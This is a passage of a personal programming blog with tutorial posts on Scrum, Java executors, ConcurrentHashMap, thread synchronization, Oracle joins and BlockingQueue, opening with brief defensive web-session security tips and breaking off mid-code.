Change JSessionId on Every Click in Web Application. To do this "Store all Session variables into new Session except JSessionId".
Lock the Account to save User from Password Guessing Attack after a defined number of incorrect password attempts.


Tools Used For Reproducing Issue and Fix Testing:
    OWASP CSRF Tester
    BurpSuite
    Acunetix

Wednesday, March 8, 2017

The Scrum Framework

Scrum is Agile framework for completing complex projects, used by Fortune 500 companies around the world. 
In Rugby sport, scrum means "restart the game." 
This requires high-performing, cross-functional teams (Dev, QA, Project Manager basically) to work and interact almost on 
daily basis at the begining of the day to assess progress. Scrum Teams are very different from traditional development groups. 

Sprint: In product development, a sprint is a set period of time during which specific work has to be completed and made ready 
    for review. The duration of a sprint is determined by the scrum master, the team's facilitator. Once the team reaches a 
    consensus for how many days a sprint should last, all future sprints should be the same. After a sprint begins, the product 
    owner must step back and let the team do their work. During the sprint, the team holds daily stand up meeting to discuss 
    progress and brainstorm solutions to challenges. Sprints are usually from 2 to 4 weeks period.

Scrum in Detail:
1) A Product owner creates a prioritized list of ideas (wish list) for the product called a Product Backlog. The product backlog helps 
    the team break the product into smaller, more manageable pieces and build it incrementally in a series of short time periods called 
    Sprints. Sprints typically last 2 to 4 weeks.
    Ex: If you want to develop facebook like product, then you will make a list of all the required items:
        Login
        Logout
        Registration Page
        Change password
        Profile Picture
        Profile Messages
        Photos Upload
        Photos Edit
        Profile Search 
        Friendship Requests etc (List of around 80-100 items).        
    
2) During sprint planning, the team pulls a small chunk from the top of that wish list (first set of basic items to be delivered to client) 
    called a sprint backlog, and decides how to implement those pieces. 
3) It also considers First 1-2 Weeks for the enviroment setup for starting product development.
4) The team has a certain amount of time (sprint) to complete its work, but it meets each day to assess its progress (daily Scrum).

5) Along the way, the ScrumMaster keeps the team focused on its goal. The ScrumMaster also removes impediments for the team, so everyone 
    can focus and move forward with their work.
6) At the end of the sprint, the work should be potentially shippable (Demo): ready to hand to a customer or show to a stakeholder.
7) The sprint ends with a sprint review and retrospective.
8) As the next sprint begins, the team chooses another chunk of the product backlog and begins working again.
9) This Sprint cycle repeats until enough items in the product backlog have been completed, the budget is depleted, or a deadline arrives.

Tuesday, February 14, 2017

Executor Framework in Java

Issues with Multithreading design:
Before java 1.5, Multithreading applications were created using Thread group, Thread Pool or Custom Thread Pool. 
Here entire thread management was the responsibility of the programmer which are below:
    Thread synchronization
    Thread waiting
    Thread joining
    Thread locking
    Thread notification
    Handling deadlock

Thread behaviors are dependent on the environment where the application is deployed and running. So the same application 
might behave in different way on different deployment environment based on the Processor speed, the RAM size, the bandwidth 
etc. All have a direct impact on the multithreading application. 

What is Executor Framework:
Executors framework (java.util.concurrent.Executor) is used for running the Runnable objects without creating new threads 
every time and mostly re-using the already created threads. This provides multi-threading applications an easy abstraction layer. 
The executor abstraction layer hides the critical parts of concurrent execution and the programmer only concentrates on the 
business logic implementation. 

In java executor framework all parallel works are considered as tasks instead of simple threads. So the application now deals 
with instances of Runnable (basically collections of tasks or parallel works) and then it is passed to an Executor to process. 
The ExecutorService interface extends the simplistic Executor interface. The ExecutorService interface represents an asynchronous 
execution mechanism which is capable of executing tasks in the background. An ExecutorService is thus very similar to a Thread pool. 

Example:
ExecutorService executorService = Executors.newFixedThreadPool(10);
executorService.execute(new Runnable() {
    public void run() {
        System.out.println("Asynchronous task");
    }
});
executorService.shutdown();

ExecutorService executorService1 = Executors.newSingleThreadExecutor(); //Single thread to execute commands    
ExecutorService executorService2 = Executors.newFixedThreadPool(10);
ExecutorService executorService3 = Executors.newScheduledThreadPool(20);
ExecutorService executorService3 = Executors.newCachedThreadPool();

The newFixedThreadPool(int): returns a ThreadPoolExecutor instance with an initialized and unbounded queue and a 
        fixed number of threads. Here no extra thread is created during execution than the set value. So if there 
        is no free thread available the task has to wait and then execute when one thread is free.
        
The newCachedThreadPool():  returns a ThreadPoolExecutor instance initialized with an unbounded queue and unbounded 
        number of threads. Here existing threads are reused if available. But if no free thread is available, a new one 
        is created and added to the pool to complete the new task. Threads that have been idle for longer than a timeout period 
        will be removed automatically from the pool.
        

Different methods to delegate tasks for execution to an ExecutorService:
    execute(Runnable)
    submit(Runnable)
    submit(Callable)
    invokeAny(...)
    invokeAll(...)


Q. Difference between "Executors.newSingleThreadExecutor().execute(command) and "new Thread(command).start()";    
A. Once you have an Executor instance, you can submit multiple tasks to it, and have them executed one after another. 
   You can't do that simply with a raw Thread.
    
Executor framework creates tasks by using instances of Runnable or Callable. In case of Runnable, the run() method does not 
return a value or throw any checked exception. But Callable is a more functional version in that area. It defines a call() 
method that allows the return type as Object. This can be used in future processing and it also throws an exception if necessary.

The FutureTask class is another important component which is used to get future information about the processing. An 
instance of this class can wrap either a Callable or a Runnable. You can get an instance of this as the return value of 
submit() method of an ExecutorService. You can also manually wrap your task in a FutureTask before calling execute() method.

Apart from above Executors, here are the functional steps to implement the Java ThreadPoolExecutor:
    A pool of multiple threads is created.
    A queue is created holding all the tasks but these tasks are not yet assigned to threads from the pool.
    Rejection handler is used to handle the situation when one or more tasks are not able to assign in the queue. 
    As per the default rejection policy, it will simply throw a RejectedExecutionException, a runtime exception, and the 
        application can catch it or discard it.

Creating Executors:    
Executor is an interface having only "public abstract void execute(java.lang.Runnable)" method. Used to submit a new task.

ExecutorService is a sub-interface of Executor. It has other methods like "shutdown(), shutdownNow(), isTerminated(),
    Future submit(Callable), Future submit(Runnable, Object), Future submit(Runnable)" etc.    
----------------------------        
    Callable<String> myCommand2 = ...
    ExecutorService executorService = ... // Build an executorService
    executorService.submit(myCommand1);
    //submit Accepts also a Callable
    
    Future<String> resultFromMyCommand2 = executorService.submit(myCommand2);   
    //Will wait for myCommand1 and myCommand2 termination
    executorService.shutdown();  
    
    Runnable myCommand3 = ...;
    //Will throw a RejectedExecutionException because no new task can be submitted
    executorService.submit(myCommand3);
----------------------------    
    
ScheduledExecutorService is a sub-interface of ExecutorService and has "schedule(), scheduleAtFixedRate(), 
    scheduleWithFixedDelay()" methods. Used to execute commands periodically or after a given delay.
----------------------------    
    ScheduledExecutorService executor = ...;
    Runnable command1 = ...;
    Runnable command2 = ...;
    Runnable command3 = ...;
    //Will start command1 after 50 seconds
    executor.schedule(command1, 50L, TimeUnit.SECONDS);
    
    //Will start command 2 after 20 seconds, 25 seconds, 30 seconds ...
    executor.scheduleAtFixedRate(command2, 20L, 5L, TimeUnit.SECONDS);
    
    //Will start command 3 after 10 seconds and if command3 takes 2 seconds to be executed also after 17, 24, 31, 38 seconds...
    executor.scheduleWithFixedDelay(command3, 10L, 5L, TimeUnit.SECONDS);
----------------------------    

Executors is a Class and it has number of static factory methods to create an ExecutorService and 
    ScheduledExecutorService objects depending upon the requirement of the application. 
----------------------------
        ExecutorService ex3 = Executors.newSingleThreadExecutor();
        Future future = ex3.submit(new Callable(){
            public Object call() {
                for(int i=20;i<=23;i++)
                    System.out.println("Asynchronous Callable: "+i);
                return "My Result";
            }
        }
        );
        try {
            System.out.println("Callable: "+future.get());
        } catch (Exception e) {
            e.printStackTrace();
        }
        ex3.shutdown();
        System.out.println("All Executors are Shutdown...");        
        if(!ex3.isTerminated()) //Recheck if not shut down.
            ex3.shutdownNow();
----------------------------            
 
ThreadPool Executor:
    private static final Executor executor = new ThreadPoolExecutor(6, 12, 5000L, TimeUnit.MILLISECONDS, 
                                             new LinkedBlockingQueue<Runnable>(250));
    The parameter values depend upon the application need. Here the core pool is having 6 threads which can run concurrently 
    and the maximum number is 12. The queue is capable of keeping 250 tasks. Here one point should be remembered that the pool 
    size should be kept on a higher side to accommodate all tasks. The idle time limit is kept as 5 ms.
    


Submit the task to the Executor: After creating the ExecutorService and proposed tasks, we need to submit the task to the 
executor by using either submit() or execute() method. Now as per our configuration the tasks will be picked up from the queue 
and run concurrently. For example if you have configured 5 concurrent executions, then 5 tasks will be picked up from the queue 
and run in parallel. This process will continue till all the tasks are finished from the queue.

Execute the task: Next the actual execution of the tasks will be managed by the framework. The Executor is responsible for 
managing the task’s execution, thread pool, synchronization and queue. If the pool has less than its configured number of 
minimum threads, new threads will be created as per requirement to handle queued tasks until that limit is reached. If the 
number is higher than the configured minimum, then the pool will not start any more threads. Instead, the task is queued 
until a thread is freed up to process the request. 

And Finally Shutdown the Executor: The termination is executed by invoking its shutdown() method or shutdownNow(). 
You can choose to terminate it gracefully, or abruptly.

Some Theories taken from : http://mrbool.com/working-with-java-executor-framework-in-multithreaded-application/27560
--------------------------------------------------------------------

Working Example:
----------------
package concurrency;
public class MyRunnable implements Runnable {
    public void run(){
        System.out.println("Run method");
    }
}
----------------
//Sample ThreadPool Class to understand Executor Framework
package concurrency;
public class ThreadPool {
    public static void main(String ar[]){
        Thread worker[] = new Thread[3];
        Runnable r = new MyRunnable();
        System.out.println("Running ThreadPool Task..");
        for(int i=0;i<worker.length;i++){
            worker[i]=new Thread(r);
            worker[i].start();
        }
        for(int i=0;i<worker.length;i++){
            try {
                worker[i].join();
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
            worker[i]=null;
        }
    }
}
----------------
//Above ThreadPool code is same as below Executor Framework
package concurrency;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.ArrayBlockingQueue;
import java.util.concurrent.ExecutionException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.Future;
import java.util.concurrent.ThreadPoolExecutor;
import java.util.concurrent.TimeUnit;

public class ExecutorTask {
    public static void main(String[] args) {
        int poolSize = 3;
        int jobCount = 3;
        Runnable r = new MyRunnable();
        System.out.println("Running Executor Task..");        
        ExecutorService ex = Executors.newFixedThreadPool(poolSize);
        for(int i=0;i<jobCount;i++){
            ex.execute(r);
        }
        ex.shutdown();
        
        
        System.out.println("Running Executor Task for Callable..");
        List<Future> list = new ArrayList<Future>();
        //ExecutorService executor = Executors.newFixedThreadPool(poolSize);
        ExecutorService executor = new ThreadPoolExecutor(3, 3, 0L, TimeUnit.MILLISECONDS, new ArrayBlockingQueue<Runnable>(15));
                //CorePoolSize, MaxPoolSize, Alive Timeout (0 means lifetime), BlockingQueue

        for(int i=0;i<jobCount;i++){
            list.add(executor.submit(new MyCallable()));
        }
        try {
            for(Future f: list)
                System.out.println("Future Returned get: "+f.get());
        } catch (InterruptedException e) {
            e.printStackTrace();
        } catch (ExecutionException e) {
            e.printStackTrace();
        }
        executor.shutdown();
    }
}
----------------
package concurrency;
import java.util.concurrent.Callable;
public class MyCallable implements Callable {
    public Object call(){
        System.out.println("Call method..");
        return "Server msg is Hi";
    }
}
-----------------------------END---------------------------------------

ConcurrentHashMap in java

ConcurrentHashMap performs better than Hashtable or synchronized Map because it only locks a portion of Map, 
instead of whole Map, which is the case with Hashtable and synchronized Map (as HashMap is not thread-safe). 
ConcurrentHashMap allows multiple readers to read concurrently without any blocking and the same time maintains 
integrity by synchronizing write operations.

ConcurrentHashMap is introduced as an alternative of Hashtable and provided all functions supported by Hashtable 
with an additional feature called "concurrency level", which allows ConcurrentHashMap to partition Map. It partitions 
Map into different parts based on concurrency level and locking only a portion of Map during updates. 

Default concurrency level is 16, and accordingly Map is divided into 16 parts and each part is governed with a different 
lock. This means, 16 threads can operate on Map simultaneously until they are operating on different part of Map. 
This makes ConcurrentHashMap high performance despite keeping thread-safety intact. Though, it comes with a limitation. 
Since update operations like put(), remove(), putAll() or clear() is not synchronized, sometimes concurrent retrieval may 
not reflect most recent change on Map.

Iterator returned by keySet of ConcurrentHashMap are weekly consistent and they only reflect state of ConcurrentHashMap
and may not reflect any recent change. Iterator of ConcurrentHashMap's keySet is also fail-safe and doesn’t throw 
ConcurrentModificationExceptoin.

Default concurrency level is 16 and can be changed, by providing a number which make sense and work for you while creating 
ConcurrentHashMap. Since concurrency level is used for internal sizing and indicates number of concurrent update without 
contention. Hence if you just have few writer threads to update Map, keeping it low is much better. ConcurrentHashMap also 
uses ReentrantLock to internally lock its segments.

ConcurrentHashMap examples are similar to Hashtable examples, however they have one more method "putIfAbsent()". Many times 
we need to insert entry into Map if it's not present already, and we wrote following kind of code:

synchronized(map){
  if (map.get(key) == null){
      return map.put(key, value);
  } else{
      return map.get(key);
  }
}

Though this code will work fine in HashMap and Hashtable, This won't work in ConcurrentHashMap; because, during put operation 
whole map is not locked, and while one thread is putting value, other thread's get() call can still return null which result 
in one thread overriding value inserted by other thread. Ofcourse, you can wrap whole code in synchronized block and make it 
thread-safe but that will only make your code single threaded. ConcurrentHashMap provides putIfAbsent(key, value) which does 
same thing but atomically and thus eliminates above race condition. 

ConcurrentHashMap is best suited when you have multiple readers and few writers. If writers outnumber reader, or writer is equal 
to reader, than performance of ConcurrentHashMap effectively reduces to synchronized map or Hashtable. Performance of CHM drops, 
because you got to lock all portion of Map, and effectively each reader will wait for another writer, operating on that portion 
of Map. ConcurrentHashMap is a good choice for caches, which can be initialized during application start up and later accessed 
my many request processing threads. CHM is also a good replacement of Hashtable and should be used whenever possible.

Summary:
1. ConcurrentHashMap allows concurrent read and thread-safe update operation. Use this when you have more readers than writers.
2. During the update operation, ConcurrentHashMap only locks a portion of Map instead of whole Map.
3. The concurrent update is achieved by internally dividing Map into the small portion which is defined by concurrency level.
4. Choose concurrency level carefully as a significantly higher number can be a waste of time and space and the lower number 
    may introduce thread contention.
    
5. All operations of ConcurrentHashMap are thread-safe.
6. Since ConcurrentHashMap implementation doesn't lock whole Map, there is chance of read overlapping with update operations 
    like put() and remove(). In that case result returned by get() method will reflect most recently completed operation from there.

7. Iterator returned by ConcurrentHashMap is weekly consistent, fail-safe and never throw ConcurrentModificationException.
8. ConcurrentHashMap doesn't allow null as key or value.
9. During putAll() and clear() operations, the concurrent read may only reflect insertion or deletion of some entries.

Taken from : http://javarevisited.blogspot.com/2013/02/concurrenthashmap-in-java-example-tutorial-working.html#ixzz4YdshMH8E

Thursday, February 9, 2017

Synchronization and Inter-Thread communication in Java

Synchronization in java is the capability to control the access of multiple threads to any shared resource.
Synchronization is mainly used to avoid Race-Condition and Thread Safety in Application. 

There are some Issues caused by Synchroniation are:
    DeadLock: If not properly handled. Check this: http://deepakmodi2006.blogspot.in/2017/02/multithreading-issues-and-solutions-in.html
    Application becomes slow.

Types of synchronization:
    1)    Process Synchronization  (done at OS level)
    2)    Thread Synchronization
            --Mutual Exclusive  
                --Synchronized method
                --Synchronized block
                --static synchronization
            
            --Inter Thread Communication
                --wait and notify
            
We are going to discuss "Thread Synchronization".
            
Mutually Exclusive: means keeps threads away from interfering with one another while sharing data.
Synchronization is built around an internal entity known as the lock or monitor. 
Every object has an lock associated with it. Hence a thread which needs consistent access to an object's fields has to acquire 
the object's lock before accessing them, and then release the lock when it's done with them.


1) Synchronized method is used to lock an object for any shared resource. When a thread invokes a synchronized method, it 
   automatically acquires the lock for that object and releases it when the thread completes its task.
----------------------------------
 package threads;
 class BookMyShowTicketHelper{
     static int MAX_TICKET=10;
        synchronized boolean bookTicket(int n){
            if(MAX_TICKET-n>=0) {    
                MAX_TICKET = MAX_TICKET-n;
                System.out.println("MAX_TICKET: "+MAX_TICKET+", Ticket booked: "+n);
                return true;
            }    
            return false;
        } 
        public static void main(String ar[]){
            final BookMyShowTicketHelper obj = new BookMyShowTicketHelper();
            Thread t1 = new Thread(){ public void run() { obj.bookTicket(3); } };  //Access Synchronized method using Anonymous class
            Thread t2 = new Thread(){ public void run() { obj.bookTicket(2); } };  //Access Synchronized method using Anonymous class
            t1.start();
            t2.start();
        }
    }
----------------------------------
2) Synchronized block is used to lock an object for any shared resource. Scope of synchronized block is smaller than the method.
    boolean bookTicket(int n){
        if(MAX_TICKET-n>=0) {    
            MAX_TICKET = MAX_TICKET-n;
            System.out.println("MAX_TICKET: "+MAX_TICKET+", Ticket booked: "+n);
            return true;
        }    
            return false;
    }

3) Static Synchronization: If you make any static method as synchronized, the lock will be on the class not on object.
   Suppose there are 2 objects (Obj1 and Obj2) of BookMyShowTicketHelper class. 
   Obj1 is accessed by Thread t1 and t2. 
   Obj2 is accessed by Thread t3 and t4.
   
   By using synchronized method or block, Interference between t1 and t2 OR t3 and t4 is stopped, but
   interference between t1 and t3 OR t2 and t4 still can happen. Because each Object has one lock, hence t1 and t3 OR
   t2 and t4 has got other locks. Static Synchronization is at class level and is the solution here.
   
   synchronized static boolean bookTicket(int n){  return true/false; }
   
   OR
   
   static boolean bookTicket(int n) {  
        synchronized (BookMyShowTicketHelper.class) {       // Synchronized block on class   
            //...  
        }  
   }  

Inter-Thread Communication: It is a mechanism where a running thread is pausing itself in its critical section and allows other thread 
to enter (or lock) in the same critical section to be executed. It is implemented by following methods of Object class:
    wait()
    notify()
    notifyAll()   

wait(): This causes current thread to release the lock and wait until either another thread invokes the notify() method or the notifyAll() 
        method for this object, or a specified amount of time has elapsed (wait(long timeout) is wait for specified amount of time). But 
        the current thread must own this object's monitor, then only it can release the lock hence wait() must be called from the 
        synchronized method only otherwise it will throw exception.    Syntax: public final void wait()throws InterruptedException.

notify(): Wakes up a single thread that is waiting on this object's monitor. If many threads are waiting to get lock of this object, any one 
        of them is chosen to be awakened. The choice is arbitrary and occurs at the discretion of the implementation or at OS level. 
        Syntax: public final void notify()        

notifyAll(): Wakes up all threads that are waiting on this object's monitor. Syntax: public final void notifyAll()

Note: wait(), notify() and notifyAll() methods are defined in Object class because they are related to lock and object has a lock.
Difference between: wait() and sleep() method 
    wait() will push thread from running to waiting state.
    sleep() will push thread from running to runnable state.
    wait() will release the lock, but sleep() will be holding.
    wait(long) has timeout for waiting, else this will throw Interrupted Exception.
    wait() must be awakened by notify() or notifyAll(), but sleep() will be completed after specified time.
    wait() is in Object Class and non-static.
    sleep() is in Thread Class and static.

----------------------
    synchronized void withdraw(int amount){    
        if(this.amount<amount){  
            System.out.println("Less balance; waiting for deposit...");  
            try{  wait();  } catch(Exception e){ }  
        }  
        this.amount = this.amount - amount;  
        System.out.println("withdraw completed...");  
    }  
  
    synchronized void deposit(int amount){          
        this.amount = this.amount + amount;  
        System.out.println("deposit completed... ");  
        notify();  
    }  

Complete wait() and notify()
http://deepakmodi2006.blogspot.in/2011/01/wait-and-notify-in-java-wait-and-notify.html
----------------------

NOTE: 
The Java interpreter has a thread "scheduler" that manages all the threads of a program and decides which ones are to be run.
OS maintains a table containing list of Processes and List of Threads belonging to each process. New Processes/Threads gets added to the list.

Some helps taken from here: http://www.javatpoint.com/synchronization-in-java 

Monday, February 6, 2017

JOIN in ORACLE

The JOIN operations are the very confusing queries between two tables. However some join results can be achieved by 
using an explicit equality test also in a WHERE clause, such as "WHERE t1.col1 = t2.col2".

1. The purpose of a join is to combine the data across tables.
2. A join is actually performed by the where clause which combines the specified rows of tables.
3. If a join involves in more than two tables then Oracle joins first two tables based on the joins condition and then compares the 
   result with the next table and so on.
   
Type of JOIN Operations:
1     Equi-join  or  Using clause  or  On clause
2     Non-Equi join
3     Self join
4     Natural join
5     Cross join
6     Inner join
7     Outer join 
            Left outer 
            Right outer 
            Full outer 

---------DB Tables and Data Populations--------------        
    
CREATE TABLE DEPT (
DEPTNO NUMBER(3) NOT NULL,
DNAME VARCHAR2(50) NOT NULL,
LOC VARCHAR2(50) NULL,
CONSTRAINT DEPT_PK PRIMARY KEY (DEPTNO) 
);

CREATE TABLE EMP(
EMPNO NUMBER(3) NOT NULL,
ENAME VARCHAR2(50) NOT NULL,
JOB VARCHAR2(30) NOT NULL,
MGR NUMBER(3) NOT NULL,
DEPTNO NUMBER(3),
CONSTRAINT EMP_PK PRIMARY KEY (EMPNO),  
CONSTRAINT EMP_FK FOREIGN KEY (DEPTNO) REFERENCES DEPT(DEPTNO)
);

INSERT INTO DEPT VALUES('10','INVENTORY','HYBD');
INSERT INTO DEPT VALUES('20','FINANACE','BGLR');
INSERT INTO DEPT VALUES('30','HR','MUMBAI');
INSERT INTO DEPT VALUES('40','IT','DELHI');
INSERT INTO DEPT VALUES('50','ENGINEERING','BGLR');
INSERT INTO DEPT VALUES('60','PROD_SUPPORT','BGLR');

INSERT INTO EMP VALUES('111','Deepak','Engineer','114','50');
INSERT INTO EMP VALUES('112','Rajesh','Manager','113','20');
INSERT INTO EMP VALUES('113','Chandan','Systems','112','40');
INSERT INTO EMP VALUES('114','Devansh','Analyst','111','10');
INSERT INTO EMP VALUES('115','Saransh','HR_Team','115','30');
INSERT INTO EMP VALUES('116','Mummy','HR_Team','115','30');        
    
---------DB Tables and Data Populations--------------
            
1. EQUI JOIN, Using Clause and ON Clause gives same return.
     EQUI Join: A Join which contains an equal to ‘=’ operator in the joins condition.
     Using clause: Use of Using Clause.
     On Clause: Use of On Clause.
        
        Ex: SELECT EMPNO,ENAME,JOB,DNAME,LOC,E.DEPTNO FROM EMP E, DEPT D WHERE E.DEPTNO=D.DEPTNO;    //DEPTNO=60 Missing from Result.        
        Ex: SELECT EMPNO,ENAME,JOB,DNAME,LOC,DEPTNO FROM EMP E JOIN DEPT D USING (DEPTNO);           //DEPTNO=60 Missing from Result.    
        Ex: SELECT EMPNO,ENAME,JOB,DNAME,LOC,E.DEPTNO FROM EMP E JOIN DEPT D ON(E.DEPTNO=D.DEPTNO);  //DEPTNO=60 Missing from Result.            

2. NON-EQUI JOIN: A join which contains an operator other than equal to ‘=’ in the joins condition, means < or >.
   However you should be careful while using such queries on common column.
   Ex: SQL> SELECT EMPNO,ENAME,JOB,DNAME,LOC,E.DEPTNO FROM EMP E,DEPT D WHERE E.DEPTNO > D.DEPTNO;

3. SELF JOIN: Joining the table itself is called self join.
   Ex: SQL> SELECT E1.EMPNO,E2.ENAME,E1.JOB,E2.DEPTNO FROM EMP E1,EMP E2 WHERE E1.EMPNO=E2.MGR;

4. NATURAL JOIN: Natural join compares all the common columns. If a column is matched (DEPTNO here), data will display in ASC Order of DEPTNO.
   Ex: SQL> SELECT EMPNO,ENAME,JOB,DNAME,LOC,DEPTNO FROM EMP NATURAL JOIN DEPT; //Same AS EQUI JOIN

5. CROSS JOIN: This will gives the cartesial product.
   Ex: SQL> SELECT EMPNO,ENAME,JOB,DNAME,LOC FROM EMP CROSS JOIN DEPT;   //Total m*n records. m FROM EMP, n FROM DEPT table.

6. INNER JOIN: This will display all the records that have matched. Same as EQUI Join.
   Ex: SQL> SELECT EMPNO,ENAME,JOB,DNAME,LOC FROM EMP INNER JOIN DEPT USING (DEPTNO);
   
7. OUTER JOIN: Outer join gives the non-matching records along with matching records.
   LEFT OUTER JOIN: A join between two tables with an explicit join clause, Showing unmatched rows from the first table (as null) along with All matched Rows.
   RIGHT OUTER JOIN: A join between two tables with an explicit join clause, Showing unmatched rows from the second table (as null) along with All matched Rows.
   FULL OUTER JOIN: A join between two tables with an explicit join clause, Showing unmatched rows from both tables (as null) along with All matched Rows.
   
   LEFT OUTER JOIN:
    SELECT EMPNO,ENAME,JOB,DNAME,LOC,E.DEPTNO,D.DEPTNO FROM EMP E LEFT OUTER JOIN DEPT D ON(E.DEPTNO=D.DEPTNO); //Unmatched DEPT rows will show as null.
    SELECT EMPNO,ENAME,JOB,DNAME,LOC,E.DEPTNO,D.DEPTNO FROM EMP E,DEPT D WHERE E.DEPTNO=D.DEPTNO(+);  //Unmatched DEPT rows will show as null.
    
   RIGHT OUTER JOIN:
    SELECT EMPNO,ENAME,JOB,DNAME,LOC,E.DEPTNO,D.DEPTNO FROM EMP E RIGHT OUTER JOIN DEPT D ON(E.DEPTNO=D.DEPTNO);  //Unmatched EMP rows will show as null.
    SELECT EMPNO,ENAME,JOB,DNAME,LOC,E.DEPTNO,D.DEPTNO FROM EMP E,DEPT D WHERE E.DEPTNO(+)=D.DEPTNO;   //Unmatched EMP rows will show as null.
   
   FULL OUTER JOIN: SELECT EMPNO,ENAME,JOB,DNAME,LOC,E.DEPTNO,D.DEPTNO FROM EMP E FULL OUTER JOIN DEPT D ON(E.DEPTNO=D.DEPTNO);


For more details, please refer: http://www.javatpoint.com/oracle-create-table
--------------------------------END------------------------------------ 

Wednesday, February 1, 2017

BlockingQueue and Producer Consumer Problem

BlockingQueue and Sharing Data between two threads (Producer Consumer issue):
  Sharing of Data between threads should be minimized if not prevented completely as this will open bugs like thread-safety.
  However if required this can be done using shared object or shared data structures like Queue. One good API provided by Java
  is concurrent collection BlockingQueue. Here we can easily share data without being bothered about thread safety and inter-thread 
  communication. BlockingQueue doesn't allow null to be stored in Queue, will throw NullPointerException.
  There are many implementations of this Interface: 
 ArrayBlockingQueue  (Most Used)
 DelayQueue
 LinkedBlockingQueue  (Most Used)
 PriorityBlockingQueue  (Most Used)
 SynchronousQueue
 
  BlockingQueue is a unique collection type which not only store elements but also supports flow control by introducing 
  blocking if either BlockingQueue is full or empty. "take()" method of BlockingQueue will block if Queue is empty and 
  "put()" method of BlockingQueue will block if Queue is full. This property makes BlockingQueue an ideal choice for implementing 
  Producer consumer design pattern where one thread insert elements into BlockingQueue and other thread consumes it. 
  
  All queuing method uses concurrency control and internal locks to perform operation atomically. Since BlockingQueue also extend 
  Collection, bulk Collection operations like addAll(), containsAll() are not performed atomically until any BlockingQueue 
  implementation specifically supports it. So call to addAll() may fail after inserting couple of elements. BlockingQueue can 
  be bounded or unbounded. A bounded BlockingQueue is one which is initialized with initial capacity and call to put() will be 
  blocked if BlockingQueue is full and size is equal to capacity. This bounding nature makes it ideal to use a shared queue between 
  multiple threads like in most common Producer consumer solutions in Java. An unbounded Queue is one which is initialized without 
  capacity, actually by default it initialized with Integer.MAX_VALUE. 
  Most common example of BlockingQueue uses bounded BlockingQueue as shown below:

 BlockingQueue bQueue = new ArrayBlockingQueue(2);  //Size is 2
 bQueue.put("Java");
 System.out.println("Item 1 inserted into BlockingQueue");
 bQueue.put("JDK");
 System.out.println("Item 2 is inserted on BlockingQueue");
 bQueue.put("J2SE");    //This insertion is not done. BlockingQueue will block here for further adding of items as size is only 2.
 System.out.println("Done");

 Output:
 Item 1 inserted into BlockingQueue
 Item 2 inserted on BlockingQueue


ArrayBlockingQueue and LinkedBlockingQueue are common implementation of BlockingQueue interface. 
ArrayBlockingQueue is backed by array and Queue impose orders as FIFO. Head of the queue is the oldest element in terms of time and 
tail of the queue is youngest element. ArrayBlockingQueue is also fixed size bounded buffer on the other hand LinkedBlockingQueue is 
an optionally bounded queue built on top of Linked nodes. In terms of throughput LinkedBlockingQueue provides higher throughput than 
ArrayBlockingQueue in Java.
-------------------------------------------------------------
Complete Example:
//BlockingQueueExample.java
package concurrency;
import java.util.concurrent.ArrayBlockingQueue;
import java.util.concurrent.BlockingQueue;

public class BlockingQueueExample {
 public static void main(String[] args) throws Exception {
        BlockingQueue queue = new ArrayBlockingQueue(2); //Size is 2.
        ProducerNew producer = new ProducerNew(queue);
        ConsumerNew consumer = new ConsumerNew(queue);

        new Thread(producer).start();
        new Thread(consumer).start();
        Thread.sleep(2000);
    }
}

//ProducerNew.java
package concurrency;
import java.util.concurrent.BlockingQueue;
public class ProducerNew implements Runnable{
    protected BlockingQueue queue = null;    //This declaration can be avoided if ProducerNew extends BlockingQueueExample
    public ProducerNew(BlockingQueue queue) { //This can be avoided if ProducerNew extends BlockingQueueExample
        this.queue = queue;
    }
    public void run() {
        try {
         System.out.println("Inserted: 1");
            queue.put("1");
            //queue.put(null);  //Null Pointer Exception
            Thread.sleep(500);
            System.out.println("Inserted: 2");
            queue.put("2");
            Thread.sleep(500);
            System.out.println("Inserted: 3");
            queue.put("3");
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}

//ConsumerNew.java
package concurrency;
import java.util.concurrent.BlockingQueue;
public class ConsumerNew implements Runnable{
    protected BlockingQueue queue = null;      //This declaration can be avoided if ConsumerNew extends BlockingQueueExample
    public ConsumerNew(BlockingQueue queue) {  //This can be avoided if ConsumerNew extends BlockingQueueExample
        this.queue = queue;
    }
    public void run() {
        try {
            System.out.println("Consumed: "+queue.take());
            System.out.println("Consumed: "+queue.take());
            System.out.println("Consumed: "+queue.take());
        } catch (InterruptedException e) {
            e.printStackTrace();
        }
    }
}
----------------------------------------------------------------------------------
Producer Consumer Using Executor Service and BlockingQueue:

//ProducerConsumer_ExecutorService.java
package concurrency;
public class ProducerConsumer_ExecutorService {
 ExecutorServiceThreadPool ex;  //This Class is defined below.
 public static void main(String[] args) {
  ProducerConsumer_ExecutorService prodconsumer = new ProducerConsumer_ExecutorService();
  prodconsumer.init();
 }
 private void init() {
  ex = new ExecutorServiceThreadPool();
  for(int i = 0; i < 10; i++){
   ex.addThread(new Producer(i));   
   //ex.addThread(new Producer(i)); //Adding more Producer, Once Queue is full, it will be blocked for more insertions.
   ex.addThread(new Consumer());
  }
  ex.finish();
 }
 
 private class Producer implements Runnable {
  int data;
  public Producer(int datatoput) {
   data = datatoput;
  }
  @Override
  public void run() {         
   System.out.println("Inserting Element " + data);
   try {
    ex.queue.put(data);
    Thread.sleep(100);
   } catch (Exception e) {
    e.printStackTrace();
   }
  }
 }
 
 private class Consumer implements Runnable {
  int datatake;         
  @Override
  public void run() {                                 
   try {
    datatake = ex.queue.take();
    System.out.println("Fetching Element " + datatake);
    Thread.sleep(100);
   } catch (Exception e) {
    e.printStackTrace();
   }
  }
 }
}

//ExecutorServiceThreadPool.java
package concurrency;
import java.util.concurrent.ArrayBlockingQueue;
import java.util.concurrent.BlockingQueue;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.TimeUnit;
import java.util.logging.Level;
import java.util.logging.Logger;

public class ExecutorServiceThreadPool {
 final BlockingQueue queue = new ArrayBlockingQueue(10); 
 ExecutorService executor = Executors.newFixedThreadPool(10); 
 
 public void addThread(Runnable r){  
  Future f = executor.submit(r);
  try {
   System.out.println("Status: "+f.get());  //null means successful.
  }catch(Exception e) {
   e.printStackTrace();
  }
 }
 public void finish(){
  try {
   executor.shutdown();
   executor.awaitTermination(50, TimeUnit.SECONDS);
  } catch (InterruptedException ex) {
